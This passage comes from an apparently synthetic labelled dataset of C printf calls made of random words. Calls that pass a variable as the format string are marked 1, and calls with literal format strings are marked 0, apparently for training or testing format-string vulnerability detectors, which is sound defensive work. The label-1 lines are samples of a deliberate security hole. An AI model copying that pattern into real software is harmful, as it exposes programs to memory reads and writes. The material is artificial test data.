hyperthermalgesia"); 0 +printf("tapping"); 0 +printf("poulardize traditionless Whistlerian"); 0 +printf("silverly conform whimsically urination phenanthrol"); 0 +printf("heliconist nonvisceral gibbsite Rajah tarp %d %s", Caducibranchiata, carbamido); 0 +printf("frijolillo prebarbarous unteamed %s cowlick semialuminous flyflap", purvey); 0 +printf("unreadableness ordinance Biloxi quixotize unalienably"); 0 +printf("%s Sophian pericecal hydrosilicon Arvicolinae nonheritor Cairo pertinaciousness angletouch", undersaturate); 0 +printf("willmaking photopolymerization trancelike schematonics office neuroplasm"); 0 +printf("expatiation coelho Sphaeralcea believable oilcan tavers %d", pilm); 0 +printf("identifiable uric equiomnipotent monsoonish"); 0 +printf("intracerebrally curucucu"); 0 +printf("panomphic septennary hepatolith extrovert endarterial languish Celtiberi"); 0 +printf("Totoro panotitis %s inscriptional", nitrogenous); 0 +printf("combure"); 0 +printf("Unionidae objector decathlon destiny speculum taskwork"); 0 +printf("naggingly goff %d forerigging divisibility flauntily", pachytrichous); 0 +printf("packware undermoney hypotrichosis curuba accelerograph Arcturus rondo"); 0 +printf("lymphoidectomy coattest %s tiddley", unacclimatized); 0 +printf("thanatophobe guise illegal nodulose bossiness preventability glucoside"); 0 +printf("unshoe crake layover Teredinidae sequestrectomy branchiostomid unpresidential tawny bacteriotropic"); 0 +printf("barrack intratrabecular curtesy submarginal enam %d bizet phytoteratologic", overthoughtful); 0 +printf("valgus plagued Odontognathae pseudopregnant everbearing exophasic"); 0 +printf("Mooachaht"); 0 +printf("dithyramb undeniedly"); 0 +printf("mosser Saccharum linked pseudopregnancy subreport %s", proximad); 0 +printf("unvolunteering gnosticize pancreatorrhagia %s paratungstate unsegregable luncher", painter); 0 +printf(triboelectricity, thumbbird, venousness); 1 +printf("samarra selection aroma overbashful inclusion"); 0 +printf("suds %s postmycotic cachibou superorganic Yahweh aller", groundberry); 0 +printf("genotypic"); 0 +printf("professionalize alveole unconfined %d brush polysyllabical sonar vaticanic disvaluation", equestrianize); 0 +printf("Amara"); 0 +printf("viburnin lobby propublicity straightwards brachycephalization millilambert"); 0 +printf("resublimation %s uberous trunking", atrolactic); 0 +printf("deckhouse"); 0 +printf("supersevere %s trihydrated mart cuneus %d %d Unesco punnology", ruttishness, qualityship, matutinely); 0 +printf("pinned Dactyl Chien begild perfervent superbungalow Bovidae"); 0 +printf("gangliitis prestudious periproctitis galvanoplastically tahsildar barytocelestine subnude physiopsychical"); 0 +printf("graycoat"); 0 +printf("spitish %d dynast %d %s", antichurchian, thunderless, Teutomania); 0 +printf("unemendable %d hemostat urosomatic vibrometer", nonshatter); 0 +printf("basify fiber %d vasodilating %d spattlehoe %s corradiation", intentness, custom, overniceness); 0 +printf("troglodytish %s marabou untackle outsit antigrammatical", denotation); 0 +printf("nonvolcanic nonfederated abusefully retia reflectent griffinesque ctene"); 0 +printf("%d clival acleidian nonsubstitution subjected cosmopolitic phototelephony", inhearse); 0 +printf(Mormoops, patriotical, Colubridae); 1 +printf("gyve Taylorism %s pikle", suburbandom); 0 +printf("oenanthylic multiplicand Manchesterism nonopening"); 0 +printf("accessless dewanee complicitous"); 0 +printf("eviration argentation macabre puntil"); 0 +printf("sphagnum outspirit crenic wisher"); 0 +printf("hospodariate nonhandicap"); 0 +printf(cirrated); 1 +printf("tympanocervical unfermentable unoffered cincinnus mouthable"); 0 +printf("bifrontal kitchener telpherman %s %d semisolute commeasure", ballium, chlamydate); 0 +printf("%s bravadoism synantherologist Munichism fixate metope pneumorrhachis", encastage); 0 +printf("unfalsified nonepochal"); 0 +printf("typholysin countervair unparadox dashmaker saponacity fanfarade anacrotic %d tauromorphous", effeminization); 0 +printf(intendant); 1 +printf("proagule protuberous twae lupulic Erethizontidae stingproof malfortune unterrifiable %s", Dositheans); 0 +printf("%s brewmaster Polaroid inaudibly repossess", corrosivity); 0 +printf("prodigiosity Eucopepoda encephalotome %s tressilate", taws); 0 +printf("%d %d equivalency ombrophilous %d discomposedness plaidman", twale, prewelcome, absit); 0 +printf("unraveler unpopulated uncomputableness panphobia"); 0 +printf("Nietzscheism"); 0 +printf("hepatoma %s %d chrysochrous %d unevasive", concoctive, mediastine, launchways); 0 +printf("wrapping apostoli Trichomanes mausoleum fiendly"); 0 +printf("%d quasijudicial Vietnamese mazedly Gunneraceae preanaphoral Philathea messer unconsummate", unimbowed); 0 +printf("teleangiectasia catogene brachycnemic outrow despecialize sexualization %s agate medusiform", twizzened); 0 +printf("impeder atis %d Dolichosauria", Judas); 0 +printf("%d", coati); 0 +printf("%s ornithon Caridea chandoo", attributive); 0 +printf("storiation sphaerite polyopia"); 0 +printf("woodenhead outbeam endoneurial analphabetical Torenia palatic autocephality panautomorphic anacrotism"); 0 +printf("ridered demonship dishclout evictor"); 0 +printf("Empetrum cherubically Tambuki Gomorrhean ascophorous carcaneted %s", renocutaneous); 0 +printf("rhizotomy epistolographer tariffize"); 0 +printf("prehepaticus silexite mimicry deuteroproteose"); 0 +printf("astrophotometer amoeboid %d steepdown Atlantides metamorphy overprotect multiganglionic overlustiness", protopathic); 0 +printf("%d Svantovit", marmorated); 0 +printf(bibliognost); 1 +printf("cableless downgate Diploptera reoutline continually decommission utilitarian inbirth"); 0 +printf("%d abstainer", geonegative); 0 +printf("naipkin superstitionless planispherical grat lactim Jacksonia Nguyen"); 0 +printf("%s recompose relap wiper preinterpretative Mercurochrome hyalobasalt", spirochetosis); 0 +printf(repurchaser, phonologist, unconcessible); 1 +printf("beakermen"); 0 +printf("pleasuremonger"); 0 +printf("bongo assistive"); 0 +printf("pinheadedness righteously phytolaccaceous trunked dali cephalometric"); 0 +printf(manywhere); 1 +printf("lacer aperient %s plashet %d Proparia rotiferal interfraternal splotchiness", smeller, mong); 0 +printf("unstriped syllabification konak derbylite nonseizure scrimshank recipiangle sey unrecreant"); 0 +printf("atopite fuscous"); 0 +printf("ungymnastic Tetum unkicked %d poesiless Muggletonian", objectization); 0 +printf("firebox %d Luella tremblor", falsework); 0 +printf("acaciin workpan heatful %s cartel", taciturnly); 0 +printf("overbrutality overstory diametrally snobbishness riparious material %d %s Pholadidae", trichromatism, chlorosilicate); 0 +printf("Chateau teratogenetic obedientiar fatalize"); 0 +printf("unforfeited perissodactylate"); 0 +printf("interliner unhackneyed petticoatery vagrom endothys besplash"); 0 +printf("satyresque %s Hienz uncrushable postbranchial Gloeocapsa heavy downless", gluttonism); 0 +printf("telegraph theosopheme marmarize antirestoration"); 0 +printf("mystifier inferent quaternary slimily anigh sarcosepta embouchure pseudoform"); 0 +printf("infrugal sterigmatic annelidian %s %d Alstonia steigh Hamites", ritornel, stolon); 0 +printf("overwade irrefutableness harborous Dipnoi zymotechnical cleruchic negativity succuba virginium"); 0 +printf("impulse"); 0 +printf("generalizer %s looney %s pound", chloroplast, overmultiply); 0 +printf("jarl sylvanitic gunstick inshell plebiscitarian %d sleekit autoschediaze ancylopod", fort); 0 +printf("%s betted Adonia angustifolious suddenty untemptingly", disproof); 0 +printf("catechumenate legatine"); 0 +printf("vocate photohyponastic necropathy flathat"); 0 +printf("unmullioned griffinesque picotite unlaborable fumaryl %s tubercularness Teheran retinochorioidal", micrometry); 0 +printf("towelette overcontented beheadlined Jose barbellate"); 0 +printf("preportray"); 0 +printf("interarboration"); 0 +printf("sentiendum %s sanguinicolous %d", phrenitic, Knoxville); 0 +printf("adenoacanthoma devolatilize"); 0 +printf(toggery, apodal, Anthocerotales); 1 +printf("flippantly"); 0 +printf(meteorite, infighting, disinfectant); 1 +printf(excursory, jeff, invention); 1 +printf("preconstruction furcately %s subconference zirkelite %d", betweenbrain, uvular); 0 +printf("ropeman airily sternebrae interbring semicentenary"); 0 +printf("ulu"); 0 +printf("quincewort somatomic neomenian"); 0 +printf("dormitory ashiness photoelectron flabellifoliate cynopodous clabbery taboo candlebox tock"); 0 +printf("Brodie pharmacognostical proceeding Homerian"); 0 +printf("boarfish bosthoon"); 0 +printf("legate"); 0 +printf("%d gentianaceous fiendhead formicarian paralyzer", Tyranninae); 0 +printf("underbank %d pediadontia %d omnivore Protoceras %s gibaro pumper", uncompletely, abstinential, seleniuret); 0 +printf(transportedness, phthisiophobia, carmine); 1 +printf("demagnetization"); 0 +printf(folk, unrubrical); 1 +printf("rootedness %s excalceate stingo pileworm evadable %d undrained", lockspit, grimily); 0 +printf("unaspiring longshore Averroistic occupy"); 0 +printf("curlyhead melicerous"); 0 +printf("Tauropolos eponym unblightedly saccomyid namaqua cinurous micronuclear mib"); 0 +printf("pistology %d adagietto chine anchorwise casebox desilicification Concord lycopene", abracadabra); 0 +printf("dearthfu phocodont sex"); 0 +printf("Carisa ribaldish Sinophile caffetannic scoliograptic tabescence"); 0 +printf("%d mashal %d redistrain biostatics mycorhizal glucinum unafeard", subperpendicular, discouraging); 0 +printf("shock %s preset lineally %d %s rigorousness tree", microsporiasis, reputatively, sofar); 0 +printf("rebaptizer reimposition antiamboceptor aslant guzmania unexceptionableness adenolipoma innovative"); 0 +printf("proleniency paraenesis %d brickmaking unaskable", youngster); 0 +printf("%s Tahiti benzol %s", hemera, termagant); 0 +printf("%s superordain trichogynial styrol handstroke ectomere protevangelion", contrapunto); 0 +printf(cocashweed, ovalescent, jockeyism); 1 +printf("muzzler oneirocritics impatible Exoascaceae treasuress strainedly"); 0 +printf("delver uhtensang"); 0 +printf("contravindication navew"); 0 +printf("%s chairmaking catheterism diamagnetically zoeaform", anonang); 0 +printf("sacrotuberous ethnos Mutazala %d ultranatural meldrop", jadish); 0 +printf("amelus conscriptional microseismic Gerbillinae Svanetian"); 0 +printf("undomineering leadenly hairbird"); 0 +printf("Bradford tickney pantographically"); 0 +printf("divaricatingly"); 0 +printf("hyalitis Platonization"); 0 +printf("quivering Caryophyllus fittily Orlando decorist heautophany metasoma sulphoselenium unshuddering"); 0 +printf("floatage exon geomagnetic nonhydrolyzable archvestryman randir %s somers unwieldy", quadrupedism); 0 +printf(irrecoverableness, stress, interlot); 1 +printf("%d mnemonic %d subtense", unadvanced, penbard); 0 +printf("vimful zombie Latakia"); 0 +printf("bagger linja %d", autoluminescent); 0 +printf("%d overspeculative reason %d locomobility observing shim deduct", perirenal, dueler); 0 +printf("capless %d", endarchy); 0 +printf(Phytophthora); 1 +printf("takosis goatfish oligosiderite"); 0 +printf("impeller"); 0 +printf("%s refashion", unbelieve); 0 +printf("%d Mousoni", silkie); 0 +printf("predatism"); 0 +printf("lunchroom intertergal misground decimosexto heredipety paleoanthropological disintegrity"); 0 +printf("slanguage worshipability unjudicial"); 0 +printf("billetwood veteraness dailiness exarticulation %s bonduc underbarring", catholicity); 0 +printf("exasperating Gongorist"); 0 +printf("%s invasionist zythem %d imparkation actinostome", scrive, load); 0 +printf("ototomy unpoisonous"); 0 +printf("perishment %d ferrogoslarite Helvetic petrochemistry ginward inquilinous metanalysis unlovableness", metaphenomenon); 0 +printf("dicyanide superterranean saltativeness unnobly revocation incasement Janiculum"); 0 +printf("shipward"); 0 +printf("troubling anacahuita amblyaphia"); 0 +printf("leaflessness ergamine %d angild reprimer", mythologist); 0 +printf("unreplied Magh"); 0 +printf("taillight"); 0 +printf("poros actomyosin Micawberism Agathosma Leonardesque"); 0 +printf("sard Astartidae semibastion ventilative"); 0 +printf("deboshed litigatory skull %d equinoctial", calicate); 0 +printf("hematocyte feastful silverite"); 0 +printf(hyperdicrotism); 1 +printf("egalitarian amidoxime prorogate wellsite reread motte emanative seven noncrusading"); 0 +printf("cresolin hippopotamine tibionavicular infrared avadhuta chummery"); 0 +printf("hairlock Sedovic unfrilled"); 0 +printf("averment"); 0 +printf("arteriasis latrant supportability"); 0 +printf("%d decidedness undeterred", violal); 0 +printf("unintermediate afflictively %d absentness", misinterpret); 0 +printf("evulse"); 0 +printf("unsheaf oogamous Italical Jacob %s synantherology concertinist %s", bairagi, picker); 0 +printf("cannabine busywork hypoactivity abeyancy rhymic %s assever irritant", nickname); 0 +printf("%s influentiality", disintegrant); 0 +printf("extrapituitary forbesite neurapophysis unsought prepenial festination detonative Stentor introductoriness"); 0 +printf("amesite"); 0 +printf("ticca %s %d Pseudolarix novity", disimpassioned, eye); 0 +printf("unlayable maskelynite semipublic hoppy dermic %s undiscolored evangelically macraucheniid", tired); 0 +printf("unecstatic lei skillessness azovernine choli cometlike glans"); 0 +printf("%s lithographically verset additament", pachylosis); 0 +printf("relace roosted spurlike blacktongue mushrebiyeh"); 0 +printf("organically outworker %s hypotypic archpiece jollity indeprivable", bluer); 0 +printf("dopper vasiform overfond sclerophyll"); 0 +printf("morbific Popocrat tankwise alqueire barristerial sumphish dosimetrician %d", outclass); 0 +printf("supersolemn sardinewise rescuer %d pinnatedly unchangingness %d", plasticization, importance); 0 +printf("vester overtop cuff beknow preternaturalness"); 0 +printf("centistere extinguishant bestench securitan nonperforming Khalifat dumpiness"); 0 +printf("diatonically preoccupative gansy pseudoyohimbine corpulentness coenoblastic Chasselas"); 0 +printf("bungaloid insinuativeness Kamiya localism unpeopling inerroneous %s", scotoscope); 0 +printf("supercargoship basophilous"); 0 +printf("harlequinism noninfluence %d %d ponerine quaverer", enarch, innoxiously); 0 +printf("uncloudedness reprehensory distributor unrepresentative anilopyrine fall peership rutaecarpine"); 0 +printf("depositation ectodermosis sedgelike completely habitally raggedy daguerreotypist"); 0 +printf("shovelman panduriform %d impanator", superline); 0 +printf("vast"); 0 +printf(wasphood); 1 +printf("undiscouraging parathyroid pantechnic brainge"); 0 +printf("uncalumniated malease Cyperus quadratosquamosal zinciferous"); 0 +printf("supraloral phimotic %s cohesibility populously", foldcourse); 0 +printf(resinic, monopode); 1 +printf(Tarkalani, anthracene); 1 +printf(Ragnar); 1 +printf("pseudomultilocular euphonon trenchboard"); 0 +printf(winevat, nickey); 1 +printf("photopolymerization expressive philosophicohistorical froise"); 0 +printf("hemolysin palmetum"); 0 +printf("telling appearer Ramaism armarium"); 0 +printf("Johnsonese decultivate Nyssaceae"); 0 +printf("%s ebriosity plotproof masticator %s", fiduciary, muse); 0 +printf("essentialize coexist synteresis immiscible picaroon eyebree malformation"); 0 +printf("botcherly parimutuel senile %d gausterer", dinornithine); 0 +printf("%s", prevarication); 0 +printf("binominous mpret Turnices particularistic orbic docoglossate"); 0 +printf("afterripening Chaetosoma tocology Petiolata cubbyyew Weapemeoc itchreed"); 0 +printf(via, plague, unwithholden); 1 +printf("sandproof micrencephaly"); 0 +printf("%s Bielorouss Halicarnassian epiplankton", outusure); 0 +printf("%d capax unfendered unteaching sponsional", unsubstantiate); 0 +printf("gypsite bowker"); 0 +printf("antiphilosophical datcha opisthodomos"); 0 +printf("%d beringed", printed); 0 +printf("admiral memoria transcend needly loom piannet blizz"); 0 +printf("mulder shortcake"); 0 +printf("%s petune %d emphraxis thesaurus", acanthocladous, Cypselid); 0 +printf("divergently subobtuse dogbolt cytozoon"); 0 +printf("Cayuvava carnosity %s %d positionless ulexite", propaganda, unhusbandly); 0 +printf("wreathwort antrustion centibar inundant"); 0 +printf("sewery %s procatalectic preregister %s", talanton, blooddrop); 0 +printf("restream ambivert agatoid kalsomine tumulous Sidalcea Algenib"); 0 +printf("Dyas sniffiness heterosporous"); 0 +printf("croppy"); 0 +printf("forgivingness imperially dethronable doree tripple"); 0 +printf("homodromy flagrantly nostrummongership Bothrops good craniopathic Ionicism Perdix pyrocotton"); 0 +printf(syconarian); 1 +printf("pyromellitic vibgyor ungrasping %s moping osteoperiostitis monadelph pratfall diphthongization", publisher); 0 +printf("sleep tentmate unequally presential %s chkalik harehound", villainist); 0 +printf("fantasy raupo nonuniformity ultraconfident"); 0 +printf("unbloody downsinking squaliform typal %d brisken", ultrabrilliant); 0 +printf("sinistrogyric elaine"); 0 +printf("fumatory %s", Asellidae); 0 +printf(unbridegroomlike, plerophory); 1 +printf("%s", sycophantically); 0 +printf("sling Etheria apepsy chromotherapist unenlightened %s lymphangiomatous", perisplanchnic); 0 +printf("physicker shice rictus sisi Tanzine portia postpubic hoernesite television"); 0 +printf("refloat demerit %s coinclude", boringly); 0 +printf("%d statable hindermost microsome", sumless); 0 +printf("interproduce Didelphyidae ptomain flayer David micromaniac disherison articulate"); 0 +printf("polychresty"); 0 +printf("ultraheroic kenogenetically inspirable awake cocainist"); 0 +printf("%s %d tactical cosuggestion unwailed", energize, taxite); 0 +printf(consociative, glyptodont); 1 +printf("scyphate overofficered Nitrobacteriaceae Thecla"); 0 +printf("%d Ann", venialness); 0 +printf("astrolithology"); 0 +printf("wigwag Galictis pliciferous %s thocht", bine); 0 +printf("thickish pepper spinsterishly naphthacene Ian deride"); 0 +printf("katurai amala untractarian smartweed houndlike Xenophora bangled"); 0 +printf("ambatoarinite williwaw joinable diaplexal woolwork Taeniada taurophobe bakerly"); 0 +printf("%d rostrocarinate", phrenocardiac); 0 +printf("ray ethnobiological virologist mosey suburethral"); 0 +printf(fanmaker, nonliterary); 1 +printf("gradualist glued"); 0 +printf("optic hectography rushlike chondriome"); 0 +printf(scandic); 1 +printf("Priapulida"); 0 +printf("%s guilloche unclassifiable aggrandizable %d univocally", nonconscription, beld); 0 +printf("strombite vastitude adventurish unsinkability fugitive"); 0 +printf("%d bedunce unvoweled", protozoologist); 0 +printf(overrankness, majorette); 1 +printf("pettable stackman"); 0 +printf("wugg weightlessly clinal invertive prehensiveness"); 0 +printf("entanglement Ramphastidae"); 0 +printf(pantellerite); 1 +printf("%d", septerium); 0 +printf(platycyrtean, arbitrationist); 1 +printf("phlebotomist"); 0 +printf("mastooccipital threadflower nondeceivable dibasicity brutishly"); 0 +printf(otic, nonimporting, trypanocide); 1 +printf("punitional corynebacterial imperialization radiopelvimetry moviedom chamiso bishoplet evulgation"); 0 +printf("%s pendulate nonoxidating demonstrableness %s Orobanchaceae heterotropic limicolous", cretin, supervisive); 0 +printf("undeified Luiseno %d uninspiring %s", spiriferoid, unfallenness); 0 +printf(mitigable, plunderless, antipewism); 1 +printf("illoyalty undesirable %s hellgrammite", acutish); 0 +printf("%d fermentum phenomenical raptly sesquiquartal Chozar resorufin vasculum", rhyacolite); 0 +printf("uncheery circumnavigable hangworthy winterize wicopy urger vidette Saccharomyces protonema"); 0 +printf("pinna catabolize inconsequential unempirically workmaster pigsney dipicrylamine microcrystal"); 0 +printf("legerity Pantodon meagerly bestowing inquiring"); 0 +printf("tycoonate bdellotomy scenery %s arteriotomy beround highflying Hippomenes", manei); 0 +printf("commutable Tarvia %s", warwickite); 0 +printf("%s ingravidation Huma supplicating incongenerous unhardily", glomerulonephritis); 0 +printf("enderon pentameroid"); 0 +printf("unindictable disgusting"); 0 +printf("philorchidaceous perduellion dentinasal %d", strepen); 0 +printf("Raimannia possible pretournament canaller atypy Italophile %s unbenumbed", microfungus); 0 +printf("cousinry prorrhesis cautelousness fantast"); 0 +printf("%d aletap", pohna); 0 +printf("Phyllostachys muscadine hoarily sleepwalk"); 0 +printf("ocreaceous %d lixivial peritendineum wirble", varietism); 0 +printf("Alismataceae anamorphism subimpressed puggi chattelhood dendral"); 0 +printf("periarthric bloody"); 0 +printf("shelfworn inblown"); 0 +printf("%d emboliform", counterobligation); 0 +printf("layship boarding diuturnity theloncus snakeweed"); 0 +printf("proverbial capkin overcast cartbote requirer %d", epichorion); 0 +printf("torrentine commandant winehouse aurothiosulphate colorant trinketry unshackling"); 0 +printf("hydrogenium enterograph protone decapitalize"); 0 +printf("mahoitre infundibuliform zirconyl hussydom extraviolet"); 0 +printf("%d fellage %s seventieth clodder venerative", hemipteran, pulselike); 0 +printf("thyrocervical semicup Guianese odorific Phyllosticta stouthearted %s ischiopubis unsilvered", infernality); 0 +printf("Brachyura"); 0 +printf("expulsory postoperative allophanamide unchastisable"); 0 +printf("archinformer cerebrotonia peritrematous"); 0 +printf("xiphophyllous warily rabirubia hyperdeify tolerability disfashion malattress"); 0 +printf("%d", labrosaurid); 0 +printf("protomorph lite cleruchic"); 0 +printf(meteorogram); 1 +printf("antithet subplot deprivative prover"); 0 +printf("%d", smuggery); 0 +printf("Palaeic semicontinuum Archencephala"); 0 +printf("eupathy anadenia Apiaceae unregular"); 0 +printf(newspaperized, stive, portendment); 1 +printf("%s forefeeling", ratafee); 0 +printf("respectfully moerithere glaucochroite %s phyllopyrrole", velveteened); 0 +printf("serviceman watercup Diadochian pantomorphic fortuity Nowroze metalize nonrevolutionary"); 0 +printf("osteophlebitis durwaun Brighteyes tepomporize cyprinid Mermnad confirmer"); 0 +printf(overmeekly, Othin, unconformably); 1 +printf("%d searlesite Eruca azygos", Cointreau); 0 +printf("pico %d coadmit %d", urceiform, archpuritan); 0 +printf("fractural"); 0 +printf("foregallery Lukas replough"); 0 +printf("biacuminate hemoglobinuria age Genesiacal"); 0 +printf("tightly Ziphius"); 0 +printf("unobstructedly %s %d leveler", autodecomposition, omphalocele); 0 +printf("cupful aminoid telencephal foredevote plang %s accolated crypt", overhaughty); 0 +printf("Centrospermae"); 0 +printf(uncommunicably, phlebotomize, conessine); 1 +printf("retroposed foreskirt archetypal urceus inconvincible stanno bespectacled woodcracker"); 0 +printf("faceted persistiveness %s %s", lumbricosis, oversprinkle); 0 +printf("porket guayacan foaminess beautify phrenicoglottic"); 0 +printf("unflunked %d idioplasm unwilting %s foolishness cholecystorrhaphy noggen", lunisolar, weatherly); 0 +printf("lass transigence asymbolic noilage superobjectionable %s", sacker); 0 +printf("stamnos %s myelopathy nast empiecement %d unslagged", thymonucleic, lamantin); 0 +printf("hyalographer chionablepsia ava gastronomer %d amphitheater shine ericaceous confabulator", unhidated); 0 +printf("archemperor podge filicite fratchety lopsided Gobia %d", tile); 0 +printf("utopianizer"); 0 +printf("Mahdism unadmitting %s", tanker); 0 +printf("Mahdism unpauperized daguerreotype complacentially urolutein blarney sannaite furcation"); 0 +printf("midmonth gonia complexion epanaphora"); 0 +printf("ladyly man Casparian %d Tsimshian sonic unfrank Phytophaga ibices", censual); 0 +printf("%s mesosalpinx coloradoite imagism Hermo pinjra %d", abnegation, unforeknowable); 0 +printf("snowflake Quaequae brachypodous discommendable"); 0 +printf("nonmuscular %s", ensuer); 0 +printf("eclegma palpiferous %s sabdariffa", Parnassiaceae); 0 +printf("Hamathite outwardness aft acenaphthenyl intraperitoneally cespititous"); 0 +printf("unpliable Geoff bothersome mesopodium"); 0 +printf("%s alniviridol", countertransference); 0 +printf("flyleaf unexecutorial %d", cenobian); 0 +printf("%d acrogynae socioreligious reimagine pentylidene %d speechification cimelia", unstaid, cunning); 0 +printf("decoctum %d Bathala schatchen pontage", dingmaul); 0 +printf("%d tartishly saxhorn conjurership stupefaction curvimeter", physocarpous); 0 +printf("sporangioid %s sialoid bassanite tripsis intoxation unsmutched", decorament); 0 +printf("pancreatism spatangoidean countertenor %s %s putcher %s", tassie, viscountcy, duddery); 0 +printf("progredient Sadachbia scagliola paleoclimatic unpracticalness %d epiphylline sarod hyperdemocratic", signatureless); 0 +printf("paradoxicalism unorthodox gelogenic intempestive waterlessly %d", pratingly); 0 +printf("ase molybdomancy creedless acceptedly intermention Balaklava conversationist %s vitochemic", shap); 0 +printf("pantheologist jostle"); 0 +printf("penetratively cavitied superciliosity shrimpfish diphenylamine panhandle"); 0 +printf("garniture uncongealable %d yearbook clausure %d phoenicean", indicate, roulade); 0 +printf("irreverential greenockite outwale halting naunt"); 0 +printf("%d overbusily", amphoriloquy); 0 +printf("%s", Arcadian); 0 +printf("arghan Polymastiga prethrill olfactor pilgrimlike prokeimenon rhomboquadratic explanate"); 0 +printf("whooper engagedly Nance silicyl almon"); 0 +printf("assort thereacross tofter spongoblastic windowlessness"); 0 +printf("undancing proctovalvotomy watchdog cyanuret gleet %d emulgent", outfigure); 0 +printf("gymnospermal coenamorment %d nonshredding potdar abstriction insinuative semihonor", episcleral); 0 +printf(Fourierism, blackballer); 1 +printf("knoxvillite tamandua tartarated Naomi metagalaxy diallelus untowardness Philoctetes"); 0 +printf("multiradicate arithmetical encephalitis contabescent %s", anangioid); 0 +printf("anaerobation walk Z"); 0 +printf("alsoon denizenship forestology"); 0 +printf("birdnester antitrades"); 0 +printf("losing"); 0 +printf("hyalinization egg stepgrandchild evade revivify"); 0 +printf("traprock oxygenizable withoutside carpolite"); 0 +printf("afaint fireweed wretchedness cylindruria subloreal azoxytoluidine Sparganium priestcap asterikos"); 0 +printf("balzarine towned"); 0 +printf("lignosulphonate %s belemnitic", pledgee); 0 +printf(hydantoic, saintliness); 1 +printf("massacrer %s afrown dullish Barolong eumoirous", stuccoer); 0 +printf("printless arrhinia"); 0 +printf("reshut postcerebral Lepidosirenidae skiverwood pavonazzo nothingist Sarsechim prescribe"); 0 +printf("Sarcobatus %s bildar colometrically Kufic turgescency", Chesterfieldian); 0 +printf(suboverseer); 1 +printf("evection cartilage"); 0 +printf("oxyphthalic %s oomycetous", pelmet); 0 +printf("monoethanolamine allicient retroflexed gedder boomlet heliogram uncompoundedness"); 0 +printf("Ommiades zebrine Kainah prepartisan pedagoguery"); 0 +printf("machicoulis hydroclastic %s Ione hexaploid Scolopendrellidae Gemmingia physicophysiological dikelocephalid", keraulophone); 0 +printf("Protomastigida promonarchical polygrammatic %s Dogberrydom", gange); 0 +printf("Ramphastidae"); 0 +printf(miliarensis, trollopish, isochronize); 1 +printf("toppingness vacuolation testudinate irredeemability"); 0 +printf("Leucadian"); 0 +printf("podophthalmian"); 0 +printf("hyperpersonal resow mansionry saprolite familiarness footgear gypsyry"); 0 +printf("ascendable eastland %d alcohol Kenn", Moselle); 0 +printf("operative inditer Otomi"); 0 +printf("Hyoscyamus Zygodactylae unsociable obduration ichthyophagist"); 0 +printf("Parsonsia Deinodon neuropsychiatrist divinity lupiform"); 0 +printf("freewheeling manuka Dracaena %s uncriticized", mettled); 0 +printf("latitant hesitantly allocrotonic Leptospermum task bangtail scrotiform plaintively"); 0 +printf("%d exegete Poncirus menyie genro expromission", naturing); 0 +printf("jingoist abrogable vaginoplasty borotungstate crystalline commendatary Septembrian consumptive doby"); 0 +printf("superexpressive doubtfulness %s semiography myopical bootstrap", misexplanation); 0 +printf("Turtan dichromatic"); 0 +printf("disquisitory nonshipping Frankeniaceae"); 0 +printf("subaccount Leptilon incidently protege"); 0 +printf("chrysoaristocracy magnific predestinator oilproof shoaler"); 0 +printf("nicknameable unpenanced madreperl plunderage aftercareer versatility chrysidid fevertwig"); 0 +printf(path); 1 +printf("adventitia opisthoglyph foveola hemihedric bifariously Essenical corta"); 0 +printf("subideal emballonurine Lucrine dermatosclerosis easeful unindifference killadar"); 0 +printf(biseptate, dollishness, bucko); 1 +printf("melamed"); 0 +printf("unprocure chilopod amoebiasis outfoot %s nonscraping serviette experiential", prerogatived); 0 +printf(prorogate); 1 +printf("%s pretervection Mymaridae valveless antipoints", offertorial); 0 +printf("overgrow"); 0 +printf("%s Ukrainian %s begin unmauled", stoechas, hermitry); 0 +printf("Rauwolfia minor psychosome unanimately bifidly flatbottom garb"); 0 +printf("yarly"); 0 +printf("pommel scissel priggish esthesis"); 0 +printf("%s", sphincterotomy); 0 +printf(smotheriness, Aeolic, vauntmure); 1 +printf("tearlet reach enchantress unintriguing parenthetic helicometry"); 0 +printf("predeterminately cram mislabor"); 0 +printf("%s persuaded arsenhemol Mira digress vanquishment Tuyuneiri camus Brachiata", normoblast); 0 +printf("monochromatically %s", spinthariscopic); 0 +printf("yielder hexametrist %d overfling tollkeeper glossoncus physiological rigbane", Gammarus); 0 +printf(padmelon); 1 +printf("coheritor metallize"); 0 +printf("%d Miohippus Reseda streamy calorifacient ballotage nearsightedness abecedarium talent", zat); 0 +printf("%s prankful centibar terrar bulborectal Wappo", excommunicator); 0 +printf("unlegalized oversound %d Hyalonema subcontraoctave papyrographic", officinally); 0 +printf("unsoaked underhatch"); 0 +printf("proliterary influenza Bradypus Eogaean unexplicated contrarevolutionary coccus dishorn severalfold"); 0 +printf("discoverable Kerry tyrannicly squilla terebration masterer"); 0 +printf("%s assertible", comminator); 0 +printf("anoscope noncurrency hyperplatyrrhine dynast intendancy sweetening incontinuity %d", praecipe); 0 +printf(thrushlike, parafunction); 1 +printf("countryman %d disarmed %s monumentalism unbettered %d %s praestomium", draughtswomanship, Chelydidae, paragraphistical, liming); 0 +printf("bocking boomerang %s please lineature %s", oafishness, lenticulare); 0 +printf("altiplano bier crossbreed sourishness opinatively"); 0 +printf("oversaid mousle %s", gummosis); 0 +printf("sevenfolded direption abhominable squirter retributively prerefine spermatocystic"); 0 +printf("phosphophyllite %d %d gasconade threnody", unfilmed, unseduced); 0 +printf("%d exclamatively adhesivemeter %d unruffling tetrameter mercaptan Tirolese antipodagron", Hebraize, ptinid); 0 +printf("cacothansia ascula isostasist handgrasp proetid imperite"); 0 +printf("curtation mating Harpagornis %s thyreoprotein aircraft", augitophyre); 0 +printf("enneaspermous decempunctate %d tarragona colloquially dunker orabassu Eveline", merogastrula); 0 +printf("extendedness misinflame slavocrat renculus %d", ovalbumin); 0 +printf("Kuhnia macroelement swager convenee Oscinidae unpetrify plumb mortar redeliberate"); 0 +printf("%d lexigraphically ramplor streamliner overdue signaler robotesque Cephidae", Dilantin); 0 +printf("%s inflictive %s suffix dictyosome %s secretariat", hypnoidization, pithwork, haptene); 0 +printf("pseudohydrophobia roughness %d observational unhusk merch", underbeaten); 0 +printf("presubsistence"); 0 +printf(binocularity, temporariness); 1 +printf("nasopalatine hundredary palaeocosmic urethroscope embargo gobony corrigibleness lyreflower"); 0 +printf("tubulate subclass"); 0 +printf("%s rivose describable congested subtly advowson", preomission); 0 +printf("obsidious Hesperic niggler mouser %d carbuncular sanguicolous %s pyroarsenic", homotaxially, Opiliaceae); 0 +printf("unincorporatedly infinitive Marianic gentman bacteriostatic"); 0 +printf("bottler Santos blowzing fleshless Brunellia paniscus"); 0 +printf("widthway starched weightlessness schistocyte Uragoga 